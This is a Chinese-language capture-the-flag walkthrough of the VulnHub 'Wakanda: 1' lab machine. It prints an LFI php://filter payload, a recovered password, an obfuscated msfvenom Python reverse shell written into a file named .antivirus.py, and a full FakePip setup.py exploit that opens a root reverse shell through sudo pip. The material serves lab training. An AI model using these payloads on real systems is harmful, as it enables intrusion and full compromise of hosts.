vulnhub:wakanda: 1 ~ VulnHub
导入靶机,放在kali同网段,扫描
靶机在192.168.81.5,扫描端口
四个端口,详细扫描一下
似乎没什么值得注意的,先看网站
就这一个页面,点按钮也没反应,扫目录
虽然扫到了,但是所有页面大小都是0B,也就是没有任何内容返回
回去再查看一下页面,发现有这么一行注释
加上注释里的参数后,页面变成了法语
尝试这个功能点是否存在文件包含
php://filter/convert.base64-encode/resource=index
返回了一些东西,使用curl完整的拿下来
curl http://192.168.81.5/?lang=php://filter/convert.base64-encode/resource=index
Base64解码
找到一个密码
Niamey4Ever227!!!
网站底下写着站长mamadou,猜测是他的密码,尝试连接,之间扫描到ssh端口为3333
连接成功后出来的不是shell而是Python命令行,需要用Python生成交互式shell
找到第一个flag
在tmp文件夹下找到文件test,里面什么都没有,但是这个文件属于devops
查找devops的文件
find / -user devops 2>/dev/null
找到一个py文件,查看
看起来这个文件在不停的执行命令,并且我们有写入权限,写个木马进去
msfvenom -p cmd/unix/reverse_python lhost=192.168.81.4 lport=6789 R
python -c "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNqVkMEKgzAMhl+l9NTCqKsMp4weZDgYYxtM7zK7DmWuLUbff0idHnoyl58kX/6ENF9ruh6BkR/Vow1yAUNlOyMVwFwygP5xmLQ20AvMk5DxKGYxZzvsMaO7iPZx4nVAuKXMCZmy9FSeb1mxnOLK+f14KfPikaVX6lsxabRWsidkvGmeHZdTHzfAXoMNCbB30yptCJ0ntqtovooOfdqK5dNMPtuW4KBqdAA1pj9b5WII')[0])))"
我们只需要写入双引号里的东西
echo "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNqVkMEKgzAMhl+l9NTCqKsMp4weZDgYYxtM7zK7DmWuLUbff0idHnoyl58kX/6ENF9ruh6BkR/Vow1yAUNlOyMVwFwygP5xmLQ20AvMk5DxKGYxZzvsMaO7iPZx4nVAuKXMCZmy9FSeb1mxnOLK+f14KfPikaVX6lsxabRWsidkvGmeHZdTHzfAXoMNCbB30yptCJ0ntqtovooOfdqK5dNMPtuW4KBqdAA1pj9b5WII')[0])))" > .antivirus.py
监听,稍作等待(大概需要几分钟)
现在获取到了devops的shell,之前搜索文件时看到他的家目录有第二个flag
sudo -l显示我们可以无密码执行pip,查看漏洞网站利用方式
找到一个exp
from setuptools import setup from setuptools.command.install import install import base64 import os class CustomInstall(install): def run(self): install.run(self) RHOST = '192.168.81.4' reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 9876; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST encoded = base64.b64encode(reverse_shell) os.system('echo %s|base64 -d|bash' % encoded) setup(name='FakePip', version='0.0.1', description='This will exploit a sudoer able to /usr/bin/pip install *', url='https://github.com/0x00-0x00/fakepip', author='zc00l', author_email='andre.marques@esecurity.com.br', license='MIT', zip_safe=False, cmdclass={'install': CustomInstall})
使用时记得改成kali的IP
在kali创建文件后,开启Python的HTTP服务,在靶机下载文件
靶机运行
sudo /usr/bin/pip install . --upgrade --force-reinstall
kali监听
提权完成,最后的flag在root目录